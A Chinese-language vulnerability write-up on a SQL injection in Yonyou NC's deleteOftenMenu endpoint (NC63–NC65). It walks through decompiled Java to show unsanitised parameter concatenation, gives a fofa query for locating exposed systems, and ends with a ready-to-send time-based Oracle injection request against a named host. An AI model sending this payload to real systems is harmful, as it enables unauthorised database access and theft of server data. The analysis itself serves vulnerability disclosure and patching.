用友NC deleteOftenMenu SQL注入漏洞


漏洞简介

用友NC系统可利用deleteOftenMenu传入的参数实现SQL注入,从而窃取服务器的敏感信息。

影响版本

NC63、NC633、NC65

fofa语法

app="用友-UFIDA-NC"

漏洞分析

本来是根据官方漏洞通告可知 deleteOftenMenu 为注入点

因此搜索 deleteOftenMenu 方法的实现部分即可定位业务逻辑实现代码


package nc.uap.portal.action;

import java.util.Map;
import nc.uap.lfw.core.LfwRuntimeEnvironment;
import nc.uap.lfw.core.crud.CRUDHelper;
import nc.uap.lfw.core.data.PaginationInfo;
import nc.uap.lfw.core.exception.LfwBusinessException;
import nc.uap.lfw.core.exception.LfwRuntimeException;
import nc.uap.lfw.core.log.LfwLogger;
import nc.uap.lfw.servletplus.annotation.Action;
import nc.uap.lfw.servletplus.annotation.Servlet;
import nc.uap.lfw.servletplus.core.impl.BaseAction;
import nc.uap.lfw.util.LanguageUtil;
import nc.uap.portal.vo.PtRegularItemVO;
import nc.vo.ml.NCLangRes4VoTransl;
import uap.lfw.core.ml.LfwResBundle;

@Servlet(
    path = "/deleteMenu"
)
public class DeleteOftenMenuAction extends BaseAction {
    public DeleteOftenMenuAction() {
    }

    @Action
    public void deleteOftenMenu() {
        String pk = this.request.getParameter("pk");
        String pk_user = LfwRuntimeEnvironment.getLfwSessionBean().getPk_user();

        try {
            PtRegularItemVO[] vos = (PtRegularItemVO[])CRUDHelper.getCRUDService().queryVOs("pk_user='" + pk_user + "' and pk_funcnode='" + pk + "'", PtRegularItemVO.class, (PaginationInfo)null, (String)null, (Map)null);
            String res = "";
            StringBuffer jstip = new StringBuffer();
            if (vos != null && vos.length > 0) {
                CRUDHelper.getCRUDService().deleteVo(vos[0]);
                res = LfwResBundle.getInstance().getStrByID("pmng", "MainViewController-000014");
                jstip.append("if(parent){parent.modRegMenu('" + pk + "');parent.showMessageDialog('").append(res).append("');}");
            } else {
                res = LanguageUtil.getString("pserver", "DeleteOftenMenuAction-000002");
                jstip.append("if(parent)parent.showMessageDialog('").append(res).append("');");
            }

            this.addExecScript(jstip.toString());
        } catch (LfwBusinessException e) {
            LfwLogger.error(e.getMessage(), e);
            throw new LfwRuntimeException(NCLangRes4VoTransl.getNCLangRes().getStrByID("pserver", "DeleteOftenMenuAction-000000"), e);
        }
    }
}

pk 直接拼接进SQL语句后,带入 queryVOs 函数,其实现逻辑如下

public <M extends SuperVO> M[] queryVOs(String sql, Class<M> clazz, PaginationInfo pg, String orderBy, Map<String, Object> extMap) throws LfwBusinessException {
        return (M[])(((ILfwQueryService)ServiceLocator.getService(ILfwQueryService.class)).queryVOs(sql, clazz, pg, orderBy, extMap));
    }
public <T extends SuperVO> T[] queryVOs(String sql, Class<T> clazz, PaginationInfo pg, String orderBy, Map<String, Object> extMap) throws LfwBusinessException {
        ResultSetProcessor rp = null;
        PersistenceManager pm = null;

        SuperVO vo;
        try {
            pm = PersistenceManager.getInstance();
            JdbcSession ses = pm.getJdbcSession();
            if (!sql.trim().toLowerCase().startsWith("select ")) {
                vo = (SuperVO)LfwClassUtil.newInstance(clazz);
                String table = vo.getTableName();
                if (sql.indexOf(".") != -1) {
                    String prez = sql.substring(0, sql.indexOf("."));
                    table = table + " " + prez;
                }

                Map<String, Integer> types = this.getColmnTypes(vo.getTableName(), ses);
                sql = SQLHelper.getSelectSQL(table, this.getTableFields(vo, types)) + " " + "where" + " " + sql;
            }

            ResultSetProcessor var17 = new BeanListProcessor(clazz);
            vo = this.queryVOByPinfo(ses, sql, orderBy, (SQLParameter)null, pg, clazz, pm, var17);
        } catch (DbException e) {
            Logger.error(e.getMessage(), e);
            throw new LfwBusinessException(e.getMessage());
        } finally {
            if (pm != null) {
                pm.release();
            }

        }

        return (T[])vo;
    }

经过 getSelectSQL 处理带入 queryVOByPinfo,getSelectSQL 实现如下

public static String getSelectSQL(String tableName, String[] fields) {
        StringBuffer sql = new StringBuffer();
        if (fields == null) {
            sql.append("SELECT * FROM " + tableName);
        } else {
            sql.append("SELECT ");

            for(int i = 0; i < fields.length; ++i) {
                sql.append(fields[i] + ",");
            }

            sql.setLength(sql.length() - 1);
            sql.append(" FROM " + tableName);
        }

        return sql.toString();
    }

queryVOByPinfo 实现如下

private <T extends SuperVO> T[] queryVOByPinfo(JdbcSession ses, String sql, String orderByPart, SQLParameter param, PaginationInfo pg, Class voclass, PersistenceManager pm, ResultSetProcessor rp) throws DbException {
    StringBuffer tempSql = new StringBuffer(sql);
    if (pg != null && pg.getPageSize() != -1) {
        if (pg.isRecalc()) {
            String countSql = this.getCountSql(sql);
            Map obj = (Map)ses.executeQuery(countSql, param, new MapProcessor());
            int recordsCount = (Integer)obj.get("c");
            pg.setRecordsCount(recordsCount);
        }

        int index = pg.getPageIndex();
        int lastPage = pg.getPageCount() - 1;
        if (index > lastPage) {
            if (!pg.isProcessLastpage()) {
                List<T> temp = new ArrayList(0);
                return (T[])(temp.toArray((SuperVO[])Array.newInstance(voclass, 0)));
            }

            index = lastPage;
            pg.setPageIndex(lastPage);
        }

        if (orderByPart != null && !"".equals(orderByPart)) {
            if (!orderByPart.trim().toLowerCase().startsWith("order ")) {
                tempSql.append(" order by ");
            }

            tempSql.append(" ").append(orderByPart);
        }

        LimitSQLBuilder builder = SQLBuilderFactory.getInstance().createLimitSQLBuilder(pm.getDBType());
        int pageSize = pg.getPageSize();
        sql = builder.build(tempSql.toString(), index + 1, pageSize);
        Object list = ses.executeQuery(sql, param, rp);
        return (T[])(((List)list).toArray(Array.newInstance(voclass, 0)));
    } else {
        if (orderByPart != null && !"".equals(orderByPart)) {
            if (!orderByPart.trim().toLowerCase().startsWith("order ")) {
                tempSql.append(" order by ");
            }

            tempSql.append(" ").append(orderByPart);
        }

        Object list = ses.executeQuery(tempSql.toString(), param, rp);
        return (T[])(((List)list).toArray(Array.newInstance(voclass, 0)));
    }
}

最终调用 executeQuery 执行SQL语句,造成SQL注入漏洞。

漏洞复现

同样因为存在 LfwRuntimeEnvironment.getLfwSessionBean() ,漏洞利用需要登录权限

GET /portal/pt/deleteMenu/deleteOftenMenu?pageId=login&pk=1'AND+1=dbms_pipe.receive_message('RDS', 6)-- HTTP/1.0
Host: nc65.mrxn.net
Cookie: JSESSIONID=xx.server

参考

  • https://security.yonyou.com/#/noticeInfo?id=637

手机扫码阅读

用友NC rmImage/download sql注入漏洞

用友NC系统影像管理-影像上传 imageupload SQL注入漏洞

评 论